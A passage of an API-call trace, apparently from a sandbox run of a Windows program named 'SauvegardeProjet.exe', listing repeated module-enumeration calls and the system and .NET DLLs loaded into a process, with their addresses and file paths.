lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0067.012] GetModuleInformation (in: hProcess=0x290, hModule=0x756f0000, lpmodinfo=0x26fd4f0, cb=0xc | out: lpmodinfo=0x26fd4f0*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0067.013] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x756f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0067.013] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x756f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0067.014] GetModuleInformation (in: hProcess=0x290, hModule=0x762d0000, lpmodinfo=0x26ff5fc, cb=0xc | out: lpmodinfo=0x26ff5fc*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0067.014] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0067.014] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0067.015] GetModuleInformation (in: hProcess=0x290, hModule=0x75410000, lpmodinfo=0x27016f8, cb=0xc | out: lpmodinfo=0x27016f8*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0067.015] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75410000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0067.015] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75410000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0067.016] GetModuleInformation (in: hProcess=0x290, hModule=0x76500000, lpmodinfo=0x2703888, cb=0xc | out: lpmodinfo=0x2703888*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0067.016] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0067.016] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0067.017] GetModuleInformation (in: hProcess=0x290, hModule=0x75d40000, lpmodinfo=0x270598c, cb=0xc | out: lpmodinfo=0x270598c*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0067.017] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75d40000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0067.017] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75d40000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0067.018] GetModuleInformation (in: hProcess=0x290, hModule=0x751c0000, lpmodinfo=0x2707a90, cb=0xc | out: lpmodinfo=0x2707a90*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0067.018] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0067.019] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0067.019] GetModuleInformation (in: hProcess=0x290, hModule=0x74630000, lpmodinfo=0x2709b9c, cb=0xc | out: lpmodinfo=0x2709b9c*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0067.019] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74630000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0067.020] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74630000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0067.020] GetModuleInformation (in: hProcess=0x290, hModule=0x750c0000, lpmodinfo=0x270bccc, cb=0xc | out: lpmodinfo=0x270bccc*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0067.020] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x750c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0067.021] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x750c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0067.021] GetModuleInformation (in: hProcess=0x290, hModule=0x72500000, lpmodinfo=0x270de00, cb=0xc | out: lpmodinfo=0x270de00*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0067.022] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x72500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0067.022] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x72500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0067.022] GetModuleInformation (in: hProcess=0x290, hModule=0x75540000, lpmodinfo=0x270ffa8, cb=0xc | out: lpmodinfo=0x270ffa8*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0067.023] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75540000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0067.023] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75540000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0067.024] GetModuleInformation (in: hProcess=0x290, hModule=0x74d00000, lpmodinfo=0x27120ac, cb=0xc | out: lpmodinfo=0x27120ac*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0067.024] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74d00000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0067.025] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74d00000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0067.025] GetModuleInformation (in: hProcess=0x290, hModule=0x71b50000, lpmodinfo=0x27141b8, cb=0xc | out: lpmodinfo=0x27141b8*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0067.026] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71b50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0067.026] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71b50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0067.026] GetModuleInformation (in: hProcess=0x290, hModule=0x71430000, lpmodinfo=0x2716354, cb=0xc | out: lpmodinfo=0x2716354*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0067.027] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71430000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0067.027] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71430000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0067.028] GetModuleInformation (in: hProcess=0x290, hModule=0x74ef0000, lpmodinfo=0x2718510, cb=0xc | out: lpmodinfo=0x2718510*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0067.028] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ef0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0067.029] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ef0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0067.029] GetModuleInformation (in: hProcess=0x290, hModule=0x74e70000, lpmodinfo=0x271a704, cb=0xc | out: lpmodinfo=0x271a704*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0067.030] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e70000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0067.030] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e70000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0067.031] GetModuleInformation (in: hProcess=0x290, hModule=0x75f60000, lpmodinfo=0x271c844, cb=0xc | out: lpmodinfo=0x271c844*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0067.031] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75f60000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0067.032] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75f60000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0067.032] GetModuleInformation (in: hProcess=0x290, hModule=0x744a0000, lpmodinfo=0x271e958, cb=0xc | out: lpmodinfo=0x271e958*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0067.033] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x744a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0067.033] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x744a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0067.034] GetModuleInformation (in: hProcess=0x290, hModule=0x707d0000, lpmodinfo=0x2720b24, cb=0xc | out: lpmodinfo=0x2720b24*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0067.034] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x707d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0067.035] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x707d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0067.035] GetModuleInformation (in: hProcess=0x290, hModule=0x74e50000, lpmodinfo=0x2722d14, cb=0xc | out: lpmodinfo=0x2722d14*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0067.036] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0067.037] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0067.037] GetModuleInformation (in: hProcess=0x290, hModule=0x74460000, lpmodinfo=0x2724f2c, cb=0xc | out: lpmodinfo=0x2724f2c*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0067.038] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74460000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0067.039] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74460000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0067.039] GetModuleInformation (in: hProcess=0x290, hModule=0x743d0000, lpmodinfo=0x2727038, cb=0xc | out: lpmodinfo=0x2727038*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0067.040] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0067.040] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0067.041] GetModuleInformation (in: hProcess=0x290, hModule=0x743b0000, lpmodinfo=0x2729200, cb=0xc | out: lpmodinfo=0x2729200*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0067.042] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0067.042] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0067.043] GetModuleInformation (in: hProcess=0x290, hModule=0x742e0000, lpmodinfo=0x272b350, cb=0xc | out: lpmodinfo=0x272b350*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0067.043] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x742e0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0067.044] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x742e0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0067.046] GetModuleInformation (in: hProcess=0x290, hModule=0x74150000, lpmodinfo=0x272d54c, cb=0xc | out: lpmodinfo=0x272d54c*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0067.047] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74150000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0067.047] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74150000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0067.048] GetModuleInformation (in: hProcess=0x290, hModule=0x73c90000, lpmodinfo=0x272f6fc, cb=0xc | out: lpmodinfo=0x272f6fc*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0067.049] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x73c90000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0067.049] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x73c90000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0067.050] GetModuleInformation (in: hProcess=0x290, hModule=0x74ce0000, lpmodinfo=0x27318c4, cb=0xc | out: lpmodinfo=0x27318c4*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0067.051] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0067.051] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0067.052] GetModuleInformation (in: hProcess=0x290, hModule=0x754b0000, lpmodinfo=0x27339d0, cb=0xc | out: lpmodinfo=0x27339d0*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0067.053] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x754b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0067.053] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x754b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0067.054] GetModuleInformation (in: hProcess=0x290, hModule=0x74050000, lpmodinfo=0x2735adc, cb=0xc | out: lpmodinfo=0x2735adc*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0067.055] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74050000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0067.055] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74050000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0067.056] GetModuleInformation (in: hProcess=0x290, hModule=0x76420000, lpmodinfo=0x2737c00, cb=0xc | out: lpmodinfo=0x2737c00*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0067.057] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76420000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0067.057] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76420000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0067.134] EnumProcessModules (in: hProcess=0x290, lphModule=0x277f48c, cb=0x100, lpcbNeeded=0x563cf30 | out: lphModule=0x277f48c, lpcbNeeded=0x563cf30) returned 1 [0067.135] GetModuleInformation (in: hProcess=0x290, hModule=0xea0000, lpmodinfo=0x277f5cc, cb=0xc | out: lpmodinfo=0x277f5cc*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0067.135] GetModuleBaseNameW (in: hProcess=0x290, hModule=0xea0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0067.135] GetModuleFileNameExW (in: hProcess=0x290, hModule=0xea0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0067.136] GetModuleInformation (in: hProcess=0x290, hModule=0x77850000, lpmodinfo=0x2781740, cb=0xc | out: lpmodinfo=0x2781740*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0067.136] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x77850000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0067.136] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x77850000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0067.136] GetModuleInformation (in: hProcess=0x290, hModule=0x75250000, lpmodinfo=0x2783844, cb=0xc | out: lpmodinfo=0x2783844*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0067.136] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75250000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0067.136] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75250000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0067.136] GetModuleInformation (in: hProcess=0x290, hModule=0x75a20000, lpmodinfo=0x2785950, cb=0xc | out: lpmodinfo=0x2785950*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0067.137] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75a20000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0067.137] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75a20000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0067.137] GetModuleInformation (in: hProcess=0x290, hModule=0x765f0000, lpmodinfo=0x2787a64, cb=0xc | out: lpmodinfo=0x2787a64*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0067.137] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x765f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0067.137] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x765f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0067.137] GetModuleInformation (in: hProcess=0x290, hModule=0x75b30000, lpmodinfo=0x2789bac, cb=0xc | out: lpmodinfo=0x2789bac*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0067.138] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75b30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0067.138] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75b30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0067.138] GetModuleInformation (in: hProcess=0x290, hModule=0x75e30000, lpmodinfo=0x278bcc0, cb=0xc | out: lpmodinfo=0x278bcc0*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0067.138] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75e30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0067.139] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75e30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0067.139] GetModuleInformation (in: hProcess=0x290, hModule=0x762b0000, lpmodinfo=0x278ddcc, cb=0xc | out: lpmodinfo=0x278ddcc*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0067.139] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0067.139] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0067.140] GetModuleInformation (in: hProcess=0x290, hModule=0x772d0000, lpmodinfo=0x278fed8, cb=0xc | out: lpmodinfo=0x278fed8*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0067.140] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x772d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0067.140] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x772d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0067.140] GetModuleInformation (in: hProcess=0x290, hModule=0x753b0000, lpmodinfo=0x2792030, cb=0xc | out: lpmodinfo=0x2792030*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0067.141] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0067.141] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0067.141] GetModuleInformation (in: hProcess=0x290, hModule=0x753a0000, lpmodinfo=0x279413c, cb=0xc | out: 